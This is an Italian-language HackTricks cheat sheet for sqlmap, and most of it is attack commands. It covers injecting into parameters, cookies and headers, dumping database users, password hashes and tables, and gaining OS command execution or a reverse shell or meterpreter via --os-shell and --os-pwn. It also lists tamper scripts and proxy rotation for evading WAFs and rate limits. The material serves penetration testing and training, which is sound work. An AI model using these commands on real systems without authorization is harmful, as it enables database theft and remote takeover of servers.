SQLMap

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Argomenti di base per SQLmap

Generico

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Flag della tecnica (--technique)

L’argomento --technique definisce quali metodi di SQL injection sqlmap tenterà. Ogni carattere nella stringa rappresenta una tecnica:

LetteraTecnicaDescrizione
BBoolean-based blindUsa condizioni true/false per inferire i dati
EError-basedSfrutta messaggi di errore dettagliati del DBMS per esfiltrare i risultati
UUNION queryInietta istruzioni UNION SELECT per recuperare dati tramite lo stesso canale
SStacked queriesAggiunge ulteriori istruzioni separate da ;
TTime-based blindSi basa su ritardi (SLEEP, WAITFOR) per rilevare l’iniezione
QInline / out-of-bandUsa funzioni come LOAD_FILE() o canali OOB come DNS

L’ordine predefinito è BEUSTQ. Puoi riordinarli o limitarli, ad es. solo Boolean e Time-based in quell’ordine:

sqlmap -u "http://target/?id=1" --technique="BT" --batch

Recuperare informazioni

Interno

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

Dati DB

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Posizione dell’injection

Dalla cattura di Burp/ZAP

Cattura la request e crea un file req.txt

sqlmap -r req.txt --current-user

Injection nelle richieste GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Iniezione di richieste POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Injections in Headers e altri HTTP Methods

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Second order injection

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Scansionare un sito web con SQLmap e auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Personalizzare l’iniezione

Impostare un suffisso

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefisso

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Aiuto per trovare boolean injection

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescrizione
apostrophemask.pySostituisce il carattere apostrofo con il suo equivalente full width UTF-8
apostrophenullencode.pySostituisce il carattere apostrofo con il suo doppio equivalente unicode illegale
appendnullbyte.pyAggiunge un carattere NULL codificato alla fine del payload
base64encode.pyCodifica in Base64 tutti i caratteri di un payload
between.pySostituisce l’operatore maggiore di (‘>’) con ‘NOT BETWEEN 0 AND #’
bluecoat.pySostituisce il carattere spazio dopo un’istruzione SQL con un carattere di spazio valido e casuale. Successivamente sostituisce il carattere = con l’operatore LIKE
chardoubleencode.pyDoppia url-encoding di tutti i caratteri in un payload (non processando quelli già codificati)
commalesslimit.pySostituisce istanze come ‘LIMIT M, N’ con ‘LIMIT N OFFSET M’
commalessmid.pySostituisce istanze come ‘MID(A, B, C)’ con ‘MID(A FROM B FOR C)’
concat2concatws.pySostituisce istanze come ‘CONCAT(A, B)’ con ‘CONCAT_WS(MID(CHAR(0), 0, 0), A, B)’
charencode.pyApplica url-encoding a tutti i caratteri in un payload (non processando quelli già codificati)
charunicodeencode.pyApplica unicode-url-encoding ai caratteri non codificati in un payload (non processando quelli già codificati). “%u0022”
charunicodeescape.pyApplica unicode-url-encoding ai caratteri non codificati in un payload (non processando quelli già codificati). “\u0022”
equaltolike.pySostituisce tutte le occorrenze dell’operatore uguale (‘=’) con l’operatore ‘LIKE’
escapequotes.pyEscapa le virgolette con slash (’ and “)
greatest.pySostituisce l’operatore maggiore (‘>’) con il suo corrispondente ‘GREATEST’
halfversionedmorekeywords.pyAggiunge un commento MySQL versionato prima di ogni parola chiave
ifnull2ifisnull.pySostituisce istanze come ‘IFNULL(A, B)’ con ‘IF(ISNULL(A), B, A)’
modsecurityversioned.pyAvvolge la query completa con un commento versionato
modsecurityzeroversioned.pyAvvolge la query completa con un commento a versione zero
multiplespaces.pyAggiunge spazi multipli intorno alle parole chiave SQL
nonrecursivereplacement.pySostituisce parole chiave SQL predefinite con rappresentazioni adatte a filtri di replacement (e.g. .replace(“SELECT”, “”))
percentage.pyAggiunge un segno di percentuale (‘%’) davanti a ogni carattere
overlongutf8.pyConverte tutti i caratteri in un payload (non processando quelli già codificati)
randomcase.pySostituisce ogni carattere delle keyword con un caso casuale
randomcomments.pyAggiunge commenti casuali alle parole chiave SQL
securesphere.pyAggiunge una stringa appositamente creata
sp_password.pyAggiunge ‘sp_password’ alla fine del payload per l’oscuramento automatico nei log del DBMS
space2comment.pySostituisce il carattere spazio (’ ’) con commenti
space2dash.pySostituisce il carattere spazio (’ ‘) con un commento con trattino (’–‘) seguito da una stringa casuale e una nuova riga (’\n’)
space2hash.pySostituisce il carattere spazio (’ ‘) con il carattere cancelletto (’#‘) seguito da una stringa casuale e una nuova riga (’\n’)
space2morehash.pySostituisce il carattere spazio (’ ‘) con il carattere cancelletto (’#‘) seguito da una stringa casuale e una nuova riga (’\n’)
space2mssqlblank.pySostituisce il carattere spazio (’ ’) con un carattere di spazio casuale preso da un set valido di caratteri alternativi
space2mssqlhash.pySostituisce il carattere spazio (’ ‘) con il carattere cancelletto (’#‘) seguito da una nuova riga (’\n’)
space2mysqlblank.pySostituisce il carattere spazio (’ ’) con un carattere di spazio casuale preso da un set valido di caratteri alternativi
space2mysqldash.pySostituisce il carattere spazio (’ ‘) con un commento con trattino (’–‘) seguito da una nuova riga (’\n’)
space2plus.pySostituisce il carattere spazio (’ ‘) con un plus (’+’)
space2randomblank.pySostituisce il carattere spazio (’ ’) con un carattere di spazio casuale preso da un set valido di caratteri alternativi
symboliclogical.pySostituisce gli operatori logici AND e OR con i loro corrispondenti simbolici (&& and ||)
unionalltounion.pySostituisce UNION ALL SELECT con UNION SELECT
unmagicquotes.pySostituisce il carattere apice (’) con una combo multi-byte %bf%27 insieme a un commento generico alla fine (per farlo funzionare)
uppercase.pySostituisce ogni carattere delle keyword con la relativa versione maiuscola ‘INSERT’
varnish.pyAggiunge un header HTTP ‘X-originating-IP’
versionedkeywords.pyRacchiude ogni parola chiave non-funzione con un commento MySQL versionato
versionedmorekeywords.pyRacchiude ogni parola chiave con un commento MySQL versionato
xforwardedfor.pyAggiunge un header HTTP falso ‘X-Forwarded-For’
luanginxmore.pyTamper solo per POST che premette milioni di parametri fittizi per esaurire i parser WAF basati su Lua‑Nginx (e.g., Cloudflare).

luanginxmore genera ~4.2M random POST parameters prima del tuo payload; usalo solo con --method=POST e aspettati che grandi dimensioni delle richieste possano far crashare WAF Lua‑Nginx mal configurati.

Opzioni recenti da abilitare (>=1.9.x)

  • Trasporto HTTP/2: --http2 forza sqlmap a usare HTTP/2 (utile contro front-end che rate-limitano HTTP/1.1 ma rilassano h2). Combinalo con --force-ssl per vincolare HTTPS.
  • Rotazione proxy: --proxy-file proxies.txt --proxy-freq 3 ruota attraverso una lista, cambiando il proxy ogni 3 richieste per evitare throttling basato sull’IP.
  • Modalità offline / purge: --offline riusa i dati di sessione in cache senza toccare il target (zero traffico di rete), mentre --purge cancella in modo sicuro la directory di sessione/output quando hai finito.
  • Emulazione Mobile UA: --mobile ti chiede di spoofare un User-Agent di uno smartphone popolare, utile su API che espongono campi aggiuntivi ai client mobile.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks